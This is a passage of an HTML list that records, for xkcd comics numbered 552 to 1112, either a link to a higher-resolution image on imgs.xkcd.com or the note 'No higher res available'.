&lt;li>552: &lt;a href="https://imgs.xkcd.com/comics/correlation_2x.png">https://imgs.xkcd.com/comics/correlation_2x.png&lt;/a>&lt;/li>
&lt;li>553: No higher res available&lt;/li>
&lt;li>554: No higher res available&lt;/li>
&lt;li>555: No higher res available&lt;/li>
&lt;li>556: No higher res available&lt;/li>
&lt;li>557: No higher res available&lt;/li>
&lt;li>558: No higher res available&lt;/li>
&lt;li>559: No higher res available&lt;/li>
&lt;li>560: No higher res available&lt;/li>
&lt;li>561: No higher res available&lt;/li>
&lt;li>562: No higher res available&lt;/li>
&lt;li>563: No higher res available&lt;/li>
&lt;li>564: No higher res available&lt;/li>
&lt;li>565: No higher res available&lt;/li>
&lt;li>566: No higher res available&lt;/li>
&lt;li>567: No higher res available&lt;/li>
&lt;li>568: No higher res available&lt;/li>
&lt;li>569: No higher res available&lt;/li>
&lt;li>570: No higher res available&lt;/li>
&lt;li>571: No higher res available&lt;/li>
&lt;li>572: No higher res available&lt;/li>
&lt;li>573: No higher res available&lt;/li>
&lt;li>574: No higher res available&lt;/li>
&lt;li>575: No higher res available&lt;/li>
&lt;li>576: No higher res available&lt;/li>
&lt;li>577: No higher res available&lt;/li>
&lt;li>578: No higher res available&lt;/li>
&lt;li>579: No higher res available&lt;/li>
&lt;li>580: No higher res available&lt;/li>
&lt;li>581: No higher res available&lt;/li>
&lt;li>582: No higher res available&lt;/li>
&lt;li>583: No higher res available&lt;/li>
&lt;li>584: No higher res available&lt;/li>
&lt;li>585: No higher res available&lt;/li>
&lt;li>586: No higher res available&lt;/li>
&lt;li>587: No higher res available&lt;/li>
&lt;li>588: No higher res available&lt;/li>
&lt;li>589: No higher res available&lt;/li>
&lt;li>590: No higher res available&lt;/li>
&lt;li>591: No higher res available&lt;/li>
&lt;li>592: No higher res available&lt;/li>
&lt;li>593: No higher res available&lt;/li>
&lt;li>594: No higher res available&lt;/li>
&lt;li>595: No higher res available&lt;/li>
&lt;li>596: No higher res available&lt;/li>
&lt;li>597: No higher res available&lt;/li>
&lt;li>598: No higher res available&lt;/li>
&lt;li>599: No higher res available&lt;/li>
&lt;li>600: No higher res available&lt;/li>
&lt;li>601: No higher res available&lt;/li>
&lt;li>602: No higher res available&lt;/li>
&lt;li>603: No higher res available&lt;/li>
&lt;li>604: No higher res available&lt;/li>
&lt;li>605: No higher res available&lt;/li>
&lt;li>606: No higher res available&lt;/li>
&lt;li>607: No higher res available&lt;/li>
&lt;li>608: No higher res available&lt;/li>
&lt;li>609: No higher res available&lt;/li>
&lt;li>610: No higher res available&lt;/li>
&lt;li>611: No higher res available&lt;/li>
&lt;li>612: No higher res available&lt;/li>
&lt;li>613: No higher res available&lt;/li>
&lt;li>614: No higher res available&lt;/li>
&lt;li>615: No higher res available&lt;/li>
&lt;li>616: No higher res available&lt;/li>
&lt;li>617: No higher res available&lt;/li>
&lt;li>618: No higher res available&lt;/li>
&lt;li>619: No higher res available&lt;/li>
&lt;li>620: No higher res available&lt;/li>
&lt;li>621: No higher res available&lt;/li>
&lt;li>622: No higher res available&lt;/li>
&lt;li>623: No higher res available&lt;/li>
&lt;li>624: No higher res available&lt;/li>
&lt;li>625: No higher res available&lt;/li>
&lt;li>626: No higher res available&lt;/li>
&lt;li>627: &lt;a href="https://imgs.xkcd.com/comics/tech_support_cheat_sheet_2x.png">https://imgs.xkcd.com/comics/tech_support_cheat_sheet_2x.png&lt;/a>&lt;/li>
&lt;li>628: No higher res available&lt;/li>
&lt;li>629: No higher res available&lt;/li>
&lt;li>630: No higher res available&lt;/li>
&lt;li>631: No higher res available&lt;/li>
&lt;li>632: No higher res available&lt;/li>
&lt;li>633: No higher res available&lt;/li>
&lt;li>634: No higher res available&lt;/li>
&lt;li>635: No higher res available&lt;/li>
&lt;li>636: No higher res available&lt;/li>
&lt;li>637: No higher res available&lt;/li>
&lt;li>638: No higher res available&lt;/li>
&lt;li>639: No higher res available&lt;/li>
&lt;li>640: No higher res available&lt;/li>
&lt;li>641: No higher res available&lt;/li>
&lt;li>642: No higher res available&lt;/li>
&lt;li>643: No higher res available&lt;/li>
&lt;li>644: No higher res available&lt;/li>
&lt;li>645: No higher res available&lt;/li>
&lt;li>646: No higher res available&lt;/li>
&lt;li>647: No higher res available&lt;/li>
&lt;li>648: No higher res available&lt;/li>
&lt;li>649: No higher res available&lt;/li>
&lt;li>650: No higher res available&lt;/li>
&lt;li>651: No higher res available&lt;/li>
&lt;li>652: No higher res available&lt;/li>
&lt;li>653: No higher res available&lt;/li>
&lt;li>654: No higher res available&lt;/li>
&lt;li>655: No higher res available&lt;/li>
&lt;li>656: No higher res available&lt;/li>
&lt;li>657: &lt;a href="https://imgs.xkcd.com/comics/movie_narrative_charts_2x.png">https://imgs.xkcd.com/comics/movie_narrative_charts_2x.png&lt;/a>&lt;/li>
&lt;li>658: No higher res available&lt;/li>
&lt;li>659: No higher res available&lt;/li>
&lt;li>660: No higher res available&lt;/li>
&lt;li>661: No higher res available&lt;/li>
&lt;li>662: No higher res available&lt;/li>
&lt;li>663: No higher res available&lt;/li>
&lt;li>664: No higher res available&lt;/li>
&lt;li>665: No higher res available&lt;/li>
&lt;li>666: No higher res available&lt;/li>
&lt;li>667: No higher res available&lt;/li>
&lt;li>668: No higher res available&lt;/li>
&lt;li>669: No higher res available&lt;/li>
&lt;li>670: No higher res available&lt;/li>
&lt;li>671: No higher res available&lt;/li>
&lt;li>672: No higher res available&lt;/li>
&lt;li>673: No higher res available&lt;/li>
&lt;li>674: No higher res available&lt;/li>
&lt;li>675: No higher res available&lt;/li>
&lt;li>676: No higher res available&lt;/li>
&lt;li>677: No higher res available&lt;/li>
&lt;li>678: No higher res available&lt;/li>
&lt;li>679: No higher res available&lt;/li>
&lt;li>680: No higher res available&lt;/li>
&lt;li>681: No higher res available&lt;/li>
&lt;li>682: No higher res available&lt;/li>
&lt;li>683: No higher res available&lt;/li>
&lt;li>684: No higher res available&lt;/li>
&lt;li>685: No higher res available&lt;/li>
&lt;li>686: No higher res available&lt;/li>
&lt;li>687: No higher res available&lt;/li>
&lt;li>688: No higher res available&lt;/li>
&lt;li>689: No higher res available&lt;/li>
&lt;li>690: No higher res available&lt;/li>
&lt;li>691: No higher res available&lt;/li>
&lt;li>692: No higher res available&lt;/li>
&lt;li>693: No higher res available&lt;/li>
&lt;li>694: No higher res available&lt;/li>
&lt;li>695: &lt;a href="https://imgs.xkcd.com/comics/spirit_2x.png">https://imgs.xkcd.com/comics/spirit_2x.png&lt;/a>&lt;/li>
&lt;li>696: No higher res available&lt;/li>
&lt;li>697: No higher res available&lt;/li>
&lt;li>698: No higher res available&lt;/li>
&lt;li>699: No higher res available&lt;/li>
&lt;li>700: No higher res available&lt;/li>
&lt;li>701: No higher res available&lt;/li>
&lt;li>702: No higher res available&lt;/li>
&lt;li>703: No higher res available&lt;/li>
&lt;li>704: No higher res available&lt;/li>
&lt;li>705: No higher res available&lt;/li>
&lt;li>706: No higher res available&lt;/li>
&lt;li>707: No higher res available&lt;/li>
&lt;li>708: No higher res available&lt;/li>
&lt;li>709: No higher res available&lt;/li>
&lt;li>710: No higher res available&lt;/li>
&lt;li>711: No higher res available&lt;/li>
&lt;li>712: No higher res available&lt;/li>
&lt;li>713: No higher res available&lt;/li>
&lt;li>714: No higher res available&lt;/li>
&lt;li>715: No higher res available&lt;/li>
&lt;li>716: No higher res available&lt;/li>
&lt;li>717: No higher res available&lt;/li>
&lt;li>718: No higher res available&lt;/li>
&lt;li>719: No higher res available&lt;/li>
&lt;li>720: No higher res available&lt;/li>
&lt;li>721: No higher res available&lt;/li>
&lt;li>722: No higher res available&lt;/li>
&lt;li>723: No higher res available&lt;/li>
&lt;li>724: No higher res available&lt;/li>
&lt;li>725: No higher res available&lt;/li>
&lt;li>726: No higher res available&lt;/li>
&lt;li>727: No higher res available&lt;/li>
&lt;li>728: No higher res available&lt;/li>
&lt;li>729: No higher res available&lt;/li>
&lt;li>730: No higher res available&lt;/li>
&lt;li>731: No higher res available&lt;/li>
&lt;li>732: No higher res available&lt;/li>
&lt;li>733: No higher res available&lt;/li>
&lt;li>734: No higher res available&lt;/li>
&lt;li>735: No higher res available&lt;/li>
&lt;li>736: No higher res available&lt;/li>
&lt;li>737: No higher res available&lt;/li>
&lt;li>738: No higher res available&lt;/li>
&lt;li>739: No higher res available&lt;/li>
&lt;li>740: No higher res available&lt;/li>
&lt;li>741: No higher res available&lt;/li>
&lt;li>742: No higher res available&lt;/li>
&lt;li>743: No higher res available&lt;/li>
&lt;li>744: No higher res available&lt;/li>
&lt;li>745: No higher res available&lt;/li>
&lt;li>746: No higher res available&lt;/li>
&lt;li>747: No higher res available&lt;/li>
&lt;li>748: No higher res available&lt;/li>
&lt;li>749: No higher res available&lt;/li>
&lt;li>750: No higher res available&lt;/li>
&lt;li>751: No higher res available&lt;/li>
&lt;li>752: No higher res available&lt;/li>
&lt;li>753: No higher res available&lt;/li>
&lt;li>754: No higher res available&lt;/li>
&lt;li>755: No higher res available&lt;/li>
&lt;li>756: No higher res available&lt;/li>
&lt;li>757: No higher res available&lt;/li>
&lt;li>758: No higher res available&lt;/li>
&lt;li>759: No higher res available&lt;/li>
&lt;li>760: No higher res available&lt;/li>
&lt;li>761: No higher res available&lt;/li>
&lt;li>762: No higher res available&lt;/li>
&lt;li>763: No higher res available&lt;/li>
&lt;li>764: No higher res available&lt;/li>
&lt;li>765: No higher res available&lt;/li>
&lt;li>766: No higher res available&lt;/li>
&lt;li>767: No higher res available&lt;/li>
&lt;li>768: No higher res available&lt;/li>
&lt;li>769: No higher res available&lt;/li>
&lt;li>770: No higher res available&lt;/li>
&lt;li>771: No higher res available&lt;/li>
&lt;li>772: No higher res available&lt;/li>
&lt;li>773: No higher res available&lt;/li>
&lt;li>774: No higher res available&lt;/li>
&lt;li>775: No higher res available&lt;/li>
&lt;li>776: No higher res available&lt;/li>
&lt;li>777: No higher res available&lt;/li>
&lt;li>778: No higher res available&lt;/li>
&lt;li>779: No higher res available&lt;/li>
&lt;li>780: No higher res available&lt;/li>
&lt;li>781: No higher res available&lt;/li>
&lt;li>782: No higher res available&lt;/li>
&lt;li>783: No higher res available&lt;/li>
&lt;li>784: No higher res available&lt;/li>
&lt;li>785: No higher res available&lt;/li>
&lt;li>786: No higher res available&lt;/li>
&lt;li>787: No higher res available&lt;/li>
&lt;li>788: No higher res available&lt;/li>
&lt;li>789: No higher res available&lt;/li>
&lt;li>790: No higher res available&lt;/li>
&lt;li>791: No higher res available&lt;/li>
&lt;li>792: No higher res available&lt;/li>
&lt;li>793: &lt;a href="https://imgs.xkcd.com/comics/physicists_2x.png">https://imgs.xkcd.com/comics/physicists_2x.png&lt;/a>&lt;/li>
&lt;li>794: No higher res available&lt;/li>
&lt;li>795: No higher res available&lt;/li>
&lt;li>796: No higher res available&lt;/li>
&lt;li>797: No higher res available&lt;/li>
&lt;li>798: No higher res available&lt;/li>
&lt;li>799: No higher res available&lt;/li>
&lt;li>800: No higher res available&lt;/li>
&lt;li>801: No higher res available&lt;/li>
&lt;li>802: &lt;a href="https://imgs.xkcd.com/comics/online_communities_2_2x.png">https://imgs.xkcd.com/comics/online_communities_2_2x.png&lt;/a>&lt;/li>
&lt;li>803: No higher res available&lt;/li>
&lt;li>804: No higher res available&lt;/li>
&lt;li>805: No higher res available&lt;/li>
&lt;li>806: No higher res available&lt;/li>
&lt;li>807: No higher res available&lt;/li>
&lt;li>808: No higher res available&lt;/li>
&lt;li>809: No higher res available&lt;/li>
&lt;li>810: No higher res available&lt;/li>
&lt;li>811: No higher res available&lt;/li>
&lt;li>812: No higher res available&lt;/li>
&lt;li>813: No higher res available&lt;/li>
&lt;li>814: No higher res available&lt;/li>
&lt;li>815: No higher res available&lt;/li>
&lt;li>816: No higher res available&lt;/li>
&lt;li>817: No higher res available&lt;/li>
&lt;li>818: No higher res available&lt;/li>
&lt;li>819: No higher res available&lt;/li>
&lt;li>820: No higher res available&lt;/li>
&lt;li>821: No higher res available&lt;/li>
&lt;li>822: No higher res available&lt;/li>
&lt;li>823: No higher res available&lt;/li>
&lt;li>824: No higher res available&lt;/li>
&lt;li>825: No higher res available&lt;/li>
&lt;li>826: No higher res available&lt;/li>
&lt;li>827: &lt;a href="https://imgs.xkcd.com/comics/my_business_idea_2x.png">https://imgs.xkcd.com/comics/my_business_idea_2x.png&lt;/a>&lt;/li>
&lt;li>828: No higher res available&lt;/li>
&lt;li>829: No higher res available&lt;/li>
&lt;li>830: No higher res available&lt;/li>
&lt;li>831: No higher res available&lt;/li>
&lt;li>832: No higher res available&lt;/li>
&lt;li>833: No higher res available&lt;/li>
&lt;li>834: No higher res available&lt;/li>
&lt;li>835: No higher res available&lt;/li>
&lt;li>836: No higher res available&lt;/li>
&lt;li>837: No higher res available&lt;/li>
&lt;li>838: No higher res available&lt;/li>
&lt;li>839: No higher res available&lt;/li>
&lt;li>840: No higher res available&lt;/li>
&lt;li>841: No higher res available&lt;/li>
&lt;li>842: No higher res available&lt;/li>
&lt;li>843: No higher res available&lt;/li>
&lt;li>844: No higher res available&lt;/li>
&lt;li>845: No higher res available&lt;/li>
&lt;li>846: No higher res available&lt;/li>
&lt;li>847: No higher res available&lt;/li>
&lt;li>848: No higher res available&lt;/li>
&lt;li>849: No higher res available&lt;/li>
&lt;li>850: No higher res available&lt;/li>
&lt;li>851: No higher res available&lt;/li>
&lt;li>852: No higher res available&lt;/li>
&lt;li>853: No higher res available&lt;/li>
&lt;li>854: No higher res available&lt;/li>
&lt;li>855: No higher res available&lt;/li>
&lt;li>856: No higher res available&lt;/li>
&lt;li>857: No higher res available&lt;/li>
&lt;li>858: No higher res available&lt;/li>
&lt;li>859: No higher res available&lt;/li>
&lt;li>860: No higher res available&lt;/li>
&lt;li>861: No higher res available&lt;/li>
&lt;li>862: No higher res available&lt;/li>
&lt;li>863: No higher res available&lt;/li>
&lt;li>864: No higher res available&lt;/li>
&lt;li>865: No higher res available&lt;/li>
&lt;li>866: No higher res available&lt;/li>
&lt;li>867: No higher res available&lt;/li>
&lt;li>868: No higher res available&lt;/li>
&lt;li>869: No higher res available&lt;/li>
&lt;li>870: No higher res available&lt;/li>
&lt;li>871: No higher res available&lt;/li>
&lt;li>872: No higher res available&lt;/li>
&lt;li>873: No higher res available&lt;/li>
&lt;li>874: No higher res available&lt;/li>
&lt;li>875: No higher res available&lt;/li>
&lt;li>876: No higher res available&lt;/li>
&lt;li>877: No higher res available&lt;/li>
&lt;li>878: No higher res available&lt;/li>
&lt;li>879: No higher res available&lt;/li>
&lt;li>880: No higher res available&lt;/li>
&lt;li>881: No higher res available&lt;/li>
&lt;li>882: No higher res available&lt;/li>
&lt;li>883: No higher res available&lt;/li>
&lt;li>884: No higher res available&lt;/li>
&lt;li>885: No higher res available&lt;/li>
&lt;li>886: No higher res available&lt;/li>
&lt;li>887: No higher res available&lt;/li>
&lt;li>888: No higher res available&lt;/li>
&lt;li>889: &lt;a href="https://imgs.xkcd.com/comics/turtles_2x.png">https://imgs.xkcd.com/comics/turtles_2x.png&lt;/a>&lt;/li>
&lt;li>890: No higher res available&lt;/li>
&lt;li>891: No higher res available&lt;/li>
&lt;li>892: No higher res available&lt;/li>
&lt;li>893: No higher res available&lt;/li>
&lt;li>894: No higher res available&lt;/li>
&lt;li>895: No higher res available&lt;/li>
&lt;li>896: No higher res available&lt;/li>
&lt;li>897: No higher res available&lt;/li>
&lt;li>898: No higher res available&lt;/li>
&lt;li>899: No higher res available&lt;/li>
&lt;li>900: No higher res available&lt;/li>
&lt;li>901: No higher res available&lt;/li>
&lt;li>902: No higher res available&lt;/li>
&lt;li>903: No higher res available&lt;/li>
&lt;li>904: No higher res available&lt;/li>
&lt;li>905: No higher res available&lt;/li>
&lt;li>906: No higher res available&lt;/li>
&lt;li>907: No higher res available&lt;/li>
&lt;li>908: No higher res available&lt;/li>
&lt;li>909: No higher res available&lt;/li>
&lt;li>910: No higher res available&lt;/li>
&lt;li>911: &lt;a href="https://imgs.xkcd.com/comics/magic_school_bus_2x.png">https://imgs.xkcd.com/comics/magic_school_bus_2x.png&lt;/a>&lt;/li>
&lt;li>912: No higher res available&lt;/li>
&lt;li>913: No higher res available&lt;/li>
&lt;li>914: No higher res available&lt;/li>
&lt;li>915: No higher res available&lt;/li>
&lt;li>916: No higher res available&lt;/li>
&lt;li>917: No higher res available&lt;/li>
&lt;li>918: No higher res available&lt;/li>
&lt;li>919: No higher res available&lt;/li>
&lt;li>920: No higher res available&lt;/li>
&lt;li>921: No higher res available&lt;/li>
&lt;li>922: No higher res available&lt;/li>
&lt;li>923: No higher res available&lt;/li>
&lt;li>924: No higher res available&lt;/li>
&lt;li>925: No higher res available&lt;/li>
&lt;li>926: No higher res available&lt;/li>
&lt;li>927: &lt;a href="https://imgs.xkcd.com/comics/standards_2x.png">https://imgs.xkcd.com/comics/standards_2x.png&lt;/a>&lt;/li>
&lt;li>928: No higher res available&lt;/li>
&lt;li>929: No higher res available&lt;/li>
&lt;li>930: No higher res available&lt;/li>
&lt;li>931: No higher res available&lt;/li>
&lt;li>932: No higher res available&lt;/li>
&lt;li>933: No higher res available&lt;/li>
&lt;li>934: No higher res available&lt;/li>
&lt;li>935: No higher res available&lt;/li>
&lt;li>936: &lt;a href="https://imgs.xkcd.com/comics/password_strength_2x.png">https://imgs.xkcd.com/comics/password_strength_2x.png&lt;/a>&lt;/li>
&lt;li>937: &lt;a href="https://imgs.xkcd.com/comics/tornadoguard_2x.png">https://imgs.xkcd.com/comics/tornadoguard_2x.png&lt;/a>&lt;/li>
&lt;li>938: No higher res available&lt;/li>
&lt;li>939: No higher res available&lt;/li>
&lt;li>940: No higher res available&lt;/li>
&lt;li>941: No higher res available&lt;/li>
&lt;li>942: No higher res available&lt;/li>
&lt;li>943: No higher res available&lt;/li>
&lt;li>944: No higher res available&lt;/li>
&lt;li>945: No higher res available&lt;/li>
&lt;li>946: No higher res available&lt;/li>
&lt;li>947: No higher res available&lt;/li>
&lt;li>948: No higher res available&lt;/li>
&lt;li>949: No higher res available&lt;/li>
&lt;li>950: No higher res available&lt;/li>
&lt;li>951: No higher res available&lt;/li>
&lt;li>952: No higher res available&lt;/li>
&lt;li>953: No higher res available&lt;/li>
&lt;li>954: No higher res available&lt;/li>
&lt;li>955: No higher res available&lt;/li>
&lt;li>956: No higher res available&lt;/li>
&lt;li>957: No higher res available&lt;/li>
&lt;li>958: No higher res available&lt;/li>
&lt;li>959: No higher res available&lt;/li>
&lt;li>960: No higher res available&lt;/li>
&lt;li>961: No higher res available&lt;/li>
&lt;li>962: No higher res available&lt;/li>
&lt;li>963: No higher res available&lt;/li>
&lt;li>964: No higher res available&lt;/li>
&lt;li>965: No higher res available&lt;/li>
&lt;li>966: No higher res available&lt;/li>
&lt;li>967: &lt;a href="https://imgs.xkcd.com/comics/prairie_2x.png">https://imgs.xkcd.com/comics/prairie_2x.png&lt;/a>&lt;/li>
&lt;li>968: No higher res available&lt;/li>
&lt;li>969: No higher res available&lt;/li>
&lt;li>970: No higher res available&lt;/li>
&lt;li>971: No higher res available&lt;/li>
&lt;li>972: No higher res available&lt;/li>
&lt;li>973: No higher res available&lt;/li>
&lt;li>974: No higher res available&lt;/li>
&lt;li>975: No higher res available&lt;/li>
&lt;li>976: No higher res available&lt;/li>
&lt;li>977: No higher res available&lt;/li>
&lt;li>978: No higher res available&lt;/li>
&lt;li>979: No higher res available&lt;/li>
&lt;li>980: No higher res available&lt;/li>
&lt;li>981: No higher res available&lt;/li>
&lt;li>982: No higher res available&lt;/li>
&lt;li>983: No higher res available&lt;/li>
&lt;li>984: No higher res available&lt;/li>
&lt;li>985: No higher res available&lt;/li>
&lt;li>986: No higher res available&lt;/li>
&lt;li>987: No higher res available&lt;/li>
&lt;li>988: &lt;a href="https://imgs.xkcd.com/comics/tradition_2x.png">https://imgs.xkcd.com/comics/tradition_2x.png&lt;/a>&lt;/li>
&lt;li>989: No higher res available&lt;/li>
&lt;li>990: No higher res available&lt;/li>
&lt;li>991: No higher res available&lt;/li>
&lt;li>992: &lt;a href="https://imgs.xkcd.com/comics/mnemonics_2x.png">https://imgs.xkcd.com/comics/mnemonics_2x.png&lt;/a>&lt;/li>
&lt;li>993: No higher res available&lt;/li>
&lt;li>994: No higher res available&lt;/li>
&lt;li>995: No higher res available&lt;/li>
&lt;li>996: No higher res available&lt;/li>
&lt;li>997: No higher res available&lt;/li>
&lt;li>998: No higher res available&lt;/li>
&lt;li>999: No higher res available&lt;/li>
&lt;li>1000: No higher res available&lt;/li>
&lt;li>1001: No higher res available&lt;/li>
&lt;li>1002: No higher res available&lt;/li>
&lt;li>1003: No higher res available&lt;/li>
&lt;li>1004: No higher res available&lt;/li>
&lt;li>1005: No higher res available&lt;/li>
&lt;li>1006: No higher res available&lt;/li>
&lt;li>1007: No higher res available&lt;/li>
&lt;li>1008: No higher res available&lt;/li>
&lt;li>1009: No higher res available&lt;/li>
&lt;li>1010: No higher res available&lt;/li>
&lt;li>1011: No higher res available&lt;/li>
&lt;li>1012: No higher res available&lt;/li>
&lt;li>1013: &lt;a href="https://imgs.xkcd.com/comics/wake_up_sheeple_2x.png">https://imgs.xkcd.com/comics/wake_up_sheeple_2x.png&lt;/a>&lt;/li>
&lt;li>1014: No higher res available&lt;/li>
&lt;li>1015: No higher res available&lt;/li>
&lt;li>1016: No higher res available&lt;/li>
&lt;li>1017: No higher res available&lt;/li>
&lt;li>1018: No higher res available&lt;/li>
&lt;li>1019: No higher res available&lt;/li>
&lt;li>1020: No higher res available&lt;/li>
&lt;li>1021: No higher res available&lt;/li>
&lt;li>1022: No higher res available&lt;/li>
&lt;li>1023: No higher res available&lt;/li>
&lt;li>1024: No higher res available&lt;/li>
&lt;li>1025: No higher res available&lt;/li>
&lt;li>1026: No higher res available&lt;/li>
&lt;li>1027: &lt;a href="https://imgs.xkcd.com/comics/pickup_artist_2x.png">https://imgs.xkcd.com/comics/pickup_artist_2x.png&lt;/a>&lt;/li>
&lt;li>1028: No higher res available&lt;/li>
&lt;li>1029: No higher res available&lt;/li>
&lt;li>1030: No higher res available&lt;/li>
&lt;li>1031: No higher res available&lt;/li>
&lt;li>1032: No higher res available&lt;/li>
&lt;li>1033: No higher res available&lt;/li>
&lt;li>1034: No higher res available&lt;/li>
&lt;li>1035: No higher res available&lt;/li>
&lt;li>1036: No higher res available&lt;/li>
&lt;li>1037: No higher res available&lt;/li>
&lt;li>1038: No higher res available&lt;/li>
&lt;li>1039: No higher res available&lt;/li>
&lt;li>1040: No higher res available&lt;/li>
&lt;li>1041: No higher res available&lt;/li>
&lt;li>1042: No higher res available&lt;/li>
&lt;li>1043: No higher res available&lt;/li>
&lt;li>1044: &lt;a href="https://imgs.xkcd.com/comics/romney_quiz_2x.png">https://imgs.xkcd.com/comics/romney_quiz_2x.png&lt;/a>&lt;/li>
&lt;li>1045: No higher res available&lt;/li>
&lt;li>1046: No higher res available&lt;/li>
&lt;li>1047: No higher res available&lt;/li>
&lt;li>1048: No higher res available&lt;/li>
&lt;li>1049: No higher res available&lt;/li>
&lt;li>1050: No higher res available&lt;/li>
&lt;li>1051: No higher res available&lt;/li>
&lt;li>1052: No higher res available&lt;/li>
&lt;li>1053: &lt;a href="https://imgs.xkcd.com/comics/ten_thousand_2x.png">https://imgs.xkcd.com/comics/ten_thousand_2x.png&lt;/a>&lt;/li>
&lt;li>1054: No higher res available&lt;/li>
&lt;li>1055: No higher res available&lt;/li>
&lt;li>1056: No higher res available&lt;/li>
&lt;li>1057: No higher res available&lt;/li>
&lt;li>1058: No higher res available&lt;/li>
&lt;li>1059: No higher res available&lt;/li>
&lt;li>1060: No higher res available&lt;/li>
&lt;li>1061: &lt;a href="https://imgs.xkcd.com/comics/est_2x.png">https://imgs.xkcd.com/comics/est_2x.png&lt;/a>&lt;/li>
&lt;li>1062: No higher res available&lt;/li>
&lt;li>1063: &lt;a href="https://imgs.xkcd.com/comics/kill_hitler_2x.png">https://imgs.xkcd.com/comics/kill_hitler_2x.png&lt;/a>&lt;/li>
&lt;li>1064: No higher res available&lt;/li>
&lt;li>1065: No higher res available&lt;/li>
&lt;li>1066: No higher res available&lt;/li>
&lt;li>1067: No higher res available&lt;/li>
&lt;li>1068: No higher res available&lt;/li>
&lt;li>1069: No higher res available&lt;/li>
&lt;li>1070: No higher res available&lt;/li>
&lt;li>1071: No higher res available&lt;/li>
&lt;li>1072: No higher res available&lt;/li>
&lt;li>1073: No higher res available&lt;/li>
&lt;li>1074: &lt;a href="https://imgs.xkcd.com/comics/moon_landing_2x.png">https://imgs.xkcd.com/comics/moon_landing_2x.png&lt;/a>&lt;/li>
&lt;li>1075: No higher res available&lt;/li>
&lt;li>1076: No higher res available&lt;/li>
&lt;li>1077: No higher res available&lt;/li>
&lt;li>1078: No higher res available&lt;/li>
&lt;li>1079: &lt;a href="https://imgs.xkcd.com/comics/united_shapes_2x.png">https://imgs.xkcd.com/comics/united_shapes_2x.png&lt;/a>&lt;/li>
&lt;li>1080: No higher res available&lt;/li>
&lt;li>1081: No higher res available&lt;/li>
&lt;li>1082: No higher res available&lt;/li>
&lt;li>1083: No higher res available&lt;/li>
&lt;li>1084: &lt;a href="https://imgs.xkcd.com/comics/server_problem_2x.png">https://imgs.xkcd.com/comics/server_problem_2x.png&lt;/a>&lt;/li>
&lt;li>1085: &lt;a href="https://imgs.xkcd.com/comics/contextbot_2x.png">https://imgs.xkcd.com/comics/contextbot_2x.png&lt;/a>&lt;/li>
&lt;li>1086: &lt;a href="https://imgs.xkcd.com/comics/eyelash_wish_log_2x.png">https://imgs.xkcd.com/comics/eyelash_wish_log_2x.png&lt;/a>&lt;/li>
&lt;li>1087: &lt;a href="https://imgs.xkcd.com/comics/cirith_ungol_2x.png">https://imgs.xkcd.com/comics/cirith_ungol_2x.png&lt;/a>&lt;/li>
&lt;li>1088: &lt;a href="https://imgs.xkcd.com/comics/five_years_2x.png">https://imgs.xkcd.com/comics/five_years_2x.png&lt;/a>&lt;/li>
&lt;li>1089: &lt;a href="https://imgs.xkcd.com/comics/internal_monologue_2x.png">https://imgs.xkcd.com/comics/internal_monologue_2x.png&lt;/a>&lt;/li>
&lt;li>1090: &lt;a href="https://imgs.xkcd.com/comics/formal_languages_2x.png">https://imgs.xkcd.com/comics/formal_languages_2x.png&lt;/a>&lt;/li>
&lt;li>1091: &lt;a href="https://imgs.xkcd.com/comics/curiosity_2x.png">https://imgs.xkcd.com/comics/curiosity_2x.png&lt;/a>&lt;/li>
&lt;li>1092: &lt;a href="https://imgs.xkcd.com/comics/michael_phelps_2x.png">https://imgs.xkcd.com/comics/michael_phelps_2x.png&lt;/a>&lt;/li>
&lt;li>1093: &lt;a href="https://imgs.xkcd.com/comics/forget_2x.png">https://imgs.xkcd.com/comics/forget_2x.png&lt;/a>&lt;/li>
&lt;li>1094: &lt;a href="https://imgs.xkcd.com/comics/interview_2x.png">https://imgs.xkcd.com/comics/interview_2x.png&lt;/a>&lt;/li>
&lt;li>1095: &lt;a href="https://imgs.xkcd.com/comics/crazy_straws_2x.png">https://imgs.xkcd.com/comics/crazy_straws_2x.png&lt;/a>&lt;/li>
&lt;li>1096: &lt;a href="https://imgs.xkcd.com/comics/clinically_studied_ingredient_2x.png">https://imgs.xkcd.com/comics/clinically_studied_ingredient_2x.png&lt;/a>&lt;/li>
&lt;li>1097: No higher res available&lt;/li>
&lt;li>1098: &lt;a href="https://imgs.xkcd.com/comics/star_ratings_2x.png">https://imgs.xkcd.com/comics/star_ratings_2x.png&lt;/a>&lt;/li>
&lt;li>1099: &lt;a href="https://imgs.xkcd.com/comics/tuesdays_2x.png">https://imgs.xkcd.com/comics/tuesdays_2x.png&lt;/a>&lt;/li>
&lt;li>1100: &lt;a href="https://imgs.xkcd.com/comics/vows_2x.png">https://imgs.xkcd.com/comics/vows_2x.png&lt;/a>&lt;/li>
&lt;li>1101: &lt;a href="https://imgs.xkcd.com/comics/sketchiness_2x.png">https://imgs.xkcd.com/comics/sketchiness_2x.png&lt;/a>&lt;/li>
&lt;li>1102: &lt;a href="https://imgs.xkcd.com/comics/fastest_growing_2x.png">https://imgs.xkcd.com/comics/fastest_growing_2x.png&lt;/a>&lt;/li>
&lt;li>1103: No higher res available&lt;/li>
&lt;li>1104: &lt;a href="https://imgs.xkcd.com/comics/feathers_2x.png">https://imgs.xkcd.com/comics/feathers_2x.png&lt;/a>&lt;/li>
&lt;li>1105: &lt;a href="https://imgs.xkcd.com/comics/license_plate_2x.png">https://imgs.xkcd.com/comics/license_plate_2x.png&lt;/a>&lt;/li>
&lt;li>1106: &lt;a href="https://imgs.xkcd.com/comics/add_2x.png">https://imgs.xkcd.com/comics/add_2x.png&lt;/a>&lt;/li>
&lt;li>1107: &lt;a href="https://imgs.xkcd.com/comics/sports_cheat_sheet_2x.png">https://imgs.xkcd.com/comics/sports_cheat_sheet_2x.png&lt;/a>&lt;/li>
&lt;li>1108: &lt;a href="https://imgs.xkcd.com/comics/cautionary_ghost_2x.png">https://imgs.xkcd.com/comics/cautionary_ghost_2x.png&lt;/a>&lt;/li>
&lt;li>1109: &lt;a href="https://imgs.xkcd.com/comics/refrigerator_2x.png">https://imgs.xkcd.com/comics/refrigerator_2x.png&lt;/a>&lt;/li>
&lt;li>1110: No higher res available&lt;/li>
&lt;li>1111: &lt;a href="https://imgs.xkcd.com/comics/premiere_2x.png">https://imgs.xkcd.com/comics/premiere_2x.png&lt;/a>&lt;/li>
&lt;li>1112: &lt;a href="https://imgs.xkcd.com/comics/think_logically_2x.png">https://imgs.xkcd.com/comics/think_logically_2x.png&lt;/a>&lt;/li>
